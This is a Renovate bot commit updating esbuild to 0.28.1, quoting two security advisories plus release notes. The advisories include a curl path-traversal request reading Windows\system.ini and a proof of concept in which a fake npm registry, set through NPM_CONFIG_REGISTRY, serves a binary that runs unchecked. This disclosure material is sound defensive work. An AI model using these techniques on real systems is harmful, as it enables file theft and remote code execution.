Commit a9feffe
authored
chore(deps): update dependency esbuild to v0.28.1 [security] (#939)
This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`0.28.0` →
`0.28.1`](https://renovatebot.com/diffs/npm/esbuild/0.28.0/0.28.1) |

|

|
---
### esbuild allows arbitrary file read when running the development
server on Windows
[GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr)
<details>
<summary>More information</summary>
#### Details
##### Summary
The development server contains a path traversal vulnerability on
Windows when serving files from `servedir`.
Due to the use of `path.Clean()` (which only normalizes forward-slash
`/` separators) instead of a Windows-aware path normalization function,
it is possible to craft requests using backslashes (`\`) that bypass the
intended directory containment logic. An attacker can escape the
configured `servedir` root and access arbitrary files on the filesystem.
This issue affects Windows environments only.
##### Details
The request path is sanitized using:
```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
```
However:
- `path.Clean()` is POSIX-style and only understands `/` (docs:
`https://pkg.go.dev/path#Clean`)
- On Windows, `\` is a valid path separator
- `path.Clean()` does not treat `\` as a separator
Later, the server constructs the absolute path:
```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221
absPath := h.fs.Join(h.servedir, queryPath)
```
If `queryPath` contains sequences such as:
```
..\..\..\..\..\..\..\Windows\system.ini
```
`path.Clean()` will not normalize them, but the Windows filesystem will
interpret `\` as directory separators when resolving `absPath`.
Because the implementation does not verify that the final resolved path
remains within `servedir`, it allows directory traversal outside the
intended root directory.
##### Vulnerable Code
```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
....
// Check for a file in the "servedir" directory
if h.servedir != "" && kind != fs.FileEntry {
absPath := h.fs.Join(h.servedir, queryPath)
if absDir := h.fs.Dir(absPath); absDir != absPath {
if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil {
if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry {
....
```
##### Steps to reproduce
```
npm install --save-exact --save-dev esbuild
echo "console.log(1)" > app.js
.\node_modules\.bin\esbuild --version
0.27.3
.\node_modules\.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch
curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini"
<content of Windows\system.ini>
```
##### Impact
- Arbitrary file read on Windows
- Exposure of sensitive files
#### Severity
- CVSS Score: 2.5 / 10 (Low)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N`
#### References
-
[https://github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr)
-
[https://github.com/evanw/esbuild/releases/tag/v0.28.1](https://redirect.github.com/evanw/esbuild/releases/tag/v0.28.1)
-
[https://github.com/advisories/GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### esbuild: Missing binary integrity verification in Deno module
enables remote code execution via NPM_CONFIG_REGISTRY
[GHSA-gv7w-rqvm-qjhr](https://redirect.github.com/advisories/GHSA-gv7w-rqvm-qjhr)
<details>
<summary>More information</summary>
#### Details
##### Summary
The esbuild Deno module (`lib/deno/mod.ts`) downloads native binary
executables from an npm registry and writes them to disk with executable
permissions (`0o755`) **without performing any integrity verification**
(e.g., SHA-256 hash check). The Node.js equivalent
(`lib/npm/node-install.ts`) includes a robust `binaryIntegrityCheck()`
function that verifies SHA-256 hashes against hardcoded expected values
from `package.json`, but this protection was never implemented for the
Deno distribution.
When the `NPM_CONFIG_REGISTRY` environment variable is set, the Deno
module constructs a download URL using this attacker-influenced value
and fetches a native binary from it. Because no integrity check is
performed, an attacker who can control this environment variable (common
in CI/CD pipelines, shared development environments, or corporate
networks with custom npm registries) can supply a malicious binary that
will be downloaded, written to disk, and executed with the privileges of
the Deno process, achieving full remote code execution.
##### Details
**Vulnerable code path** — `lib/deno/mod.ts` lines 62–82:
```typescript
async function installFromNPM(name: string, subpath: string): Promise<string> {
const { finalPath, finalDir } = getCachePath(name)
try { await Deno.stat(finalPath); return finalPath } catch (e) {}
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org" // line 70: attacker-controlled
const url = `${npmRegistry}/${name}/-/${name.replace("@​esbuild/", "")}-${version}.tgz` // line 71: URL uses attacker base
const buffer = await fetch(url).then(r => r.arrayBuffer()) // line 72: download
const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath) // line 73: extract
await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })
await Deno.writeFile(finalPath, executable, { mode: 0o755 }) // line 80: write + chmod
return finalPath // line 81: no hash check
}
```
**Missing protection** — The Node.js equivalent at
`lib/npm/node-install.ts` lines 228–234:
```typescript
function binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {
const hash = crypto.createHash('sha256').update(bytes).digest('hex')
const key = `${pkg}/${subpath}`
const expected = packageJSON['esbuild.binaryHashes'][key]
if (!expected) throw new Error(`Missing hash for "${key}"`)
if (hash !== expected) throw new Error(...)
}
```
This function is called in both the `installUsingNPM()` path (line 131)
and the `downloadDirectlyFromNPM()` path (line 243), but **no equivalent
exists in the Deno module**. Searching the entire git history confirms
`binaryIntegrityCheck`, `binaryHashes`, `sha256`, and `hash` have never
appeared in `lib/deno/mod.ts`.
**Execution flow after download:** The binary returned by
`installFromNPM()` is passed to `spawn()` at line 291 of the same file:
```typescript
const child = spawn(binPath, { args: [`--service=${version}`], ... })
```
**Attack vector:** The `NPM_CONFIG_REGISTRY` environment variable is a
standard npm configuration variable widely used in enterprise CI/CD
pipelines to point to internal artifact repositories (Artifactory,
Nexus, Verdaccio, etc.). An attacker who can inject or modify this
variable in a build environment (e.g., via CI config injection, shared
environment, or compromised registry) can redirect the download to a
server they control and serve a trojaned native binary.
##### PoC
**Prerequisites:** Deno runtime, Node.js (for fake registry)
**Step 1:** Create a fake npm registry that serves a malicious binary:
```javascript
// fake-registry.js
const http = require('http');
const zlib = require('zlib');
http.createServer((req, res) => {
const fakeBin = '#!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n';
// ... build tar.gz with fake binary as package/bin/esbuild ...
res.writeHead(200, {'Content-Length': gz.length});
res.end(gz);
}).listen(19876, () => console.log('READY'));
```
**Step 2:** Run the PoC with `NPM_CONFIG_REGISTRY` pointing to the fake
server:
```typescript
// poc.ts — mimics lib/deno/mod.ts installFromNPM code path
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
const url = `${npmRegistry}/@​esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;
const buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());
// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...
await Deno.writeFile("/tmp/downloaded-binary", executable, { mode: 0o755 });
// *** NO integrity check performed ***
const cmd = new Deno.Command("/tmp/downloaded-binary");
await cmd.output(); // RCE: executes attacker-controlled binary
```
**Step 3:** Run:
```bash
node fake-registry.js &
NPM_CONFIG_REGISTRY="http://127.0.0.1:19876" deno run --allow-all poc.ts
cat /tmp/deno-esbuild-rce-proof.txt # Output: PWNED
```
**Observed output in this environment:**
```
Download URL: http://127.0.0.1:19876/@​esbuild/linux-x64/-/linux-x64-0.28.0.tgz
Binary written to: /tmp/deno-poc/downloaded-binary
Binary content: #!/bin/sh
echo PWNED > /tmp/deno-esbuild-rce-proof.txt
echo fake-esbuild-0.28.0
Executing downloaded binary...
stdout: fake-esbuild-0.28.0
*** RCE CONFIRMED ***
Marker file content: PWNED
```
**Build-local verification — using the actual built `deno/mod.js`:**
The esbuild Deno module was built from source (`node scripts/esbuild.js
./esbuild --deno`) producing `deno/mod.js`. The fake registry test was
then re-run using the **actual module** via `import * as esbuild from
"file:///path/to/deno/mod.js"`, triggering the real `installFromNPM()` →
`installFromNPM()` code path:
```
[TEST] esbuild Deno module loaded
[TEST] esbuild version: 0.28.0
[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***
[TEST] Marker file content: VULN-CONFIRMED
[TEST] The actual built deno/mod.js downloaded and executed
[TEST] a malicious binary from the fake registry WITHOUT
[TEST] performing any SHA-256 integrity verification.
```
The malicious binary was cached at
`~/.cache/esbuild/bin/@​esbuild-linux-x64@​0.28.0` with
contents:
```
#!/bin/sh
echo "VULN-CONFIRMED" > /tmp/esbuild-deno-verify-rce.txt
echo "0.28.0"
```
Built-in Deno module (`deno/mod.js`) confirmed to contain
`NPM_CONFIG_REGISTRY` usage (line 1900) and zero references to
`binaryIntegrityCheck`, `binaryHashes`, `sha256`, or
`crypto.createHash`.
**Negative/control case — Node.js rejects the same fake binary:**
```
Fake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1
Expected hash: aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be
Hashes match: false
=> Node.js path REJECTS the fake binary (hash mismatch)
=> Deno path ACCEPTS it without any check
```
##### Impact
An attacker who can control the `NPM_CONFIG_REGISTRY` environment
variable in a Deno project using esbuild can achieve **arbitrary code
execution** with the privileges of the Deno process. This is
particularly relevant in:
- **CI/CD pipelines** where `NPM_CONFIG_REGISTRY` is commonly set to
point to internal artifact repositories
- **Shared development environments** where environment variables may be
inherited from parent processes
- **Corporate networks** where npm registry mirrors are configured via
this environment variable
The attacker does not need to compromise the npm registry itself — only
the environment variable or network path between the Deno process and
the registry.
##### Suggested remediation
1. **Add SHA-256 integrity verification to the Deno module**, mirroring
the existing `binaryIntegrityCheck()` function from
`lib/npm/node-install.ts`:
```typescript
// In lib/deno/mod.ts, after extracting the binary:
const hashBuffer = await crypto.subtle.digest("SHA-256", executable);
const hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');
const key = `${name}/${subpath}`;
const expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest
if (hash !== expected) throw new Error(`Binary integrity check failed for "${key}"`);
```
2. **Validate the `NPM_CONFIG_REGISTRY` URL** to ensure it uses HTTPS
(or at minimum warn about HTTP):
```typescript
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
if (npmRegistry.startsWith("http://")) {
console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);
}
```
3. **Add `ESBUILD_BINARY_PATH` validation** in the Deno module,
mirroring the `isValidBinaryPath()` check from
`lib/npm/node-platform.ts`.
**Regression test suggestion:** Add a test that verifies the Deno
download path rejects a binary with a mismatched SHA-256 hash.
#### Severity
- CVSS Score: 8.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
#### References
-
[https://github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr)
-
[https://github.com/evanw/esbuild/releases/tag/v0.28.1](https://redirect.github.com/evanw/esbuild/releases/tag/v0.28.1)
-
[https://github.com/advisories/GHSA-gv7w-rqvm-qjhr](https://redirect.github.com/advisories/GHSA-gv7w-rqvm-qjhr)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-gv7w-rqvm-qjhr)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Release Notes
<details>
<summary>evanw/esbuild (esbuild)</summary>
###
[`v0.28.1`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0281)
[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.28.0...v0.28.1)
- Disallow `\\` in local development server HTTP requests
([GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr))
This release fixes a security issue where HTTP requests to esbuild's
local development server could traverse outside of the serve directory
on Windows using a `\\` backslash character. It happened due to the use
of Go's `path.Clean()` function, which only handles Unix-style `/`
characters. HTTP requests with paths containing `\\` are no longer
allowed.
Thanks to [@​dellalibera](https://redirect.github.com/dellalibera)
for reporting this issue.
- Add integrity checks to the Deno API
([GHSA-gv7w-rqvm-qjhr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr))
The previous release of esbuild added integrity checks to esbuild's npm
install script. This release also adds integrity checks to esbuild's
Deno install script. Now esbuild's Deno API will also fail with an error
if the downloaded esbuild binary contains something other than the
expected content.
Note that esbuild's Deno API installs from `registry.npmjs.org` by
default, but allows the `NPM_CONFIG_REGISTRY` environment variable to
override this with a custom package registry. This change means that the
esbuild executable served by `NPM_CONFIG_REGISTRY` must now match the
expected content.
Thanks to [@​sondt99](https://redirect.github.com/sondt99) for
reporting this issue.
- Avoid inlining `using` and `await using` declarations
([#​4482](https://redirect.github.com/evanw/esbuild/issues/4482))
Previously esbuild's minifier sometimes incorrectly inlined `using` and
`await using` declarations into subsequent uses of that declaration,
which then fails to dispose of the resource correctly. This bug happened
because inlining was done for `let` and `const` declarations by avoiding
doing it for `var` declarations, which no longer worked when more
declaration types were added. Here's an example:
```js
// Original code
{
using x = new Resource()
x.activate()
}
// Old output (with --minify)
new Resource().activate();
// New output (with --minify)
{using e=new Resource;e.activate()}
```
- Fix module evaluation when an error is thrown
([#​4461](https://redirect.github.com/evanw/esbuild/issues/4461),
[#​4467](https://redirect.github.com/evanw/esbuild/pull/4467))
If an error is thrown during module evaluation, esbuild previously
didn't preserve the state of the module for subsequent module
references. This was observable if `import()` or `require()` is used to
import a module multiple times. The thrown error is supposed to be
thrown by every call to `import()` or `require()`, not just the first.
With this release, esbuild will now throw the same error every time you
call `import()` or `require()` on a module that throws during its
evaluation.
- Fix some edge cases around the `new` operator
([#​4477](https://redirect.github.com/evanw/esbuild/issues/4477))
Previously esbuild incorrectly printed certain edge cases involving
complex expressions inside the target of a `new` expression
(specifically an optional chain and/or a tagged template literal). The
generated code for the `new` target was not correctly wrapped with
parentheses, and either contained a syntax error or had different
semantics. These edge cases have been fixed so that they now correctly
wrap the `new` target in parentheses. Here is an example of some
affected code:
```js
// Original code
new (foo()`bar`)()
new (foo()?.bar)()
// Old output
new foo()`bar`();
new (foo())?.bar();
// New output
new (foo())`bar`();
new (foo()?.bar)();
```
- Fix renaming of nested `var` declarations
([#​4471](https://redirect.github.com/evanw/esbuild/issues/4471))
This release fixes a bug where `var` declarations in nested scopes that
are hoisted up to module scope were not correctly being renamed during
bundling. That could previously lead to name collisions when
minification was disabled, which could potentially cause a behavior
change. The bug has been fixed so that these hoisted declarations are
now considered to be module-level symbols during the name collision
avoidance pass.
- Emit `var` instead of `const` for certain TypeScript-only constructs
for ES5
([#​4448](https://redirect.github.com/evanw/esbuild/issues/4448))
While esbuild doesn't generally support converting `const` to `var` for
ES5 due to nested scoping rules (which is currently a build-time error),
esbuild previously incorrectly converted TypeScript-only `import`
assignment constructs into a `const` declaration even when targeting
ES5. With this release, esbuild will now use `var` for this case
instead:
```js
// Original code
import x = require('y')
// Old output (with --target=es5)
const x = require("y");
// New output (with --target=es5)
var x = require("y");
```
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/apify/apify-client-js).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMTkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIxOS4wIiwidGFyZ2V0QnJhbmNoIjoibWFzdGVyIiwibGFiZWxzIjpbXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>1 parent 5fe753f commit a9feffe
3 files changed
Lines changed: 347 additions & 345 deletions
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
93 | 93 | | |
94 | 94 | | |
95 | 95 | | |
96 | | - | |
| 96 | + | |
97 | 97 | | |
98 | 98 | | |
99 | 99 | | |
| |||
0 commit comments